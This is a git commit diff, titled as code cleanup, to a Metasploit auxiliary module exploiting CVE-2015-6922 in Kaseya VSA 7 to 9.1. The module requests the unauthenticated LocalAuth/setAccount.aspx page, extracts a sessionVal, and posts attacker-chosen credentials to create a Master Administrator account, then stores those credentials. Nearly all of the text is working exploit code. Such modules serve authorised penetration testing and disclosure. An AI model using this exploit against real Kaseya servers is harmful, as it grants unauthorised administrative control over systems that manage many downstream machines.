Do code cleanup
jvazquez-r7
parent
8af5a8e310
commit
1b21cd9481
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@ -14,12 +14,12 @@ class Metasploit3 < Msf::Auxiliary
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super(update_info(info,
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'Name' => 'Kaseya VSA Master Administrator Account Creation',
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'Description' => %q{
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This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
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Master Administrator account. Normally this page is only accessible via the localhost
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interface, but the application does nothing to prevent this apart from attempting to
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force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
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v9.0.0.3.
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},
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This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
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Master Administrator account. Normally this page is only accessible via the localhost
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interface, but the application does nothing to prevent this apart from attempting to
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force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
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v9.0.0.3.
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},
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'Author' =>
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[
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'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
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@ -27,18 +27,18 @@ v9.0.0.3.
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2015-6922' ],
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[ 'ZDI', '15-448' ],
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[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt' ],
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[ 'URL', 'TODO_FULLDISC_URL' ]
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['CVE', '2015-6922'],
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['ZDI', '15-448'],
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['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
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['URL', 'TODO_FULLDISC_URL']
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],
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'DisclosureDate' => 'Sep 23 2015'))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "The Kaseya VSA URI", '/']),
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OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
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OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
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OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
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OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
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OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
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OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
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], self.class)
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end
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@ -46,29 +46,38 @@ v9.0.0.3.
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def run
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
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'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
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'method' =>'GET',
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})
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if res and res.body =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
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sessionVal = $1
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print_status("#{peer} - Got sessionVal " + sessionVal + ", creating Master Administrator account")
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if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
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session_val = $1
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else
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print_error("#{peer} - Failed to get sessionVal")
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return
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end
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print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account")
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
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'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
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'method' =>'POST',
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'vars_post' => {
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"sessionVal" => sessionVal,
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"adminName" => datastore['USERNAME'],
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"NewPassword" => datastore['PASSWORD'],
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"confirm" => datastore['PASSWORD'],
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"adminEmail" => datastore['EMAIL'],
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"setAccount" => "Create"
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'sessionVal' => session_val,
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'adminName' => datastore['KASEYA_USER'],
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'NewPassword' => datastore['KASEYA_PASS'],
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'confirm' => datastore['KASEYA_PASS'],
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'adminEmail' => datastore['EMAIL'],
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'setAccount' => 'Create'
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}
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})
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if res and res.code == 302 and res.body =~ /\/vsapres\/web20\/core\/login\.asp/
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print_good("#{peer} - Master Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']} created")
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unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
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print_error("#{peer} - Master Administrator account creation failed")
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return
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end
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print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
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service_data = {
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address: rhost,
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port: rport,
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@ -76,12 +85,13 @@ v9.0.0.3.
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: self.fullname,
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private_type: :password,
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private_data: datastore['PASSWORD'],
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username: datastore['USERNAME']
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private_data: datastore['KASEYA_PASS'],
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username: datastore['KASEYA_USER']
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}
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credential_data.merge!(service_data)
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@ -93,11 +103,5 @@ v9.0.0.3.
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}
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login_data.merge!(service_data)
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create_credential_login(login_data)
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else
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print_error("#{peer} - Master Administrator account creation failed")
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end
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else
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print_error("#{peer} - Failed to get sessionVal")
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end
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end
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end
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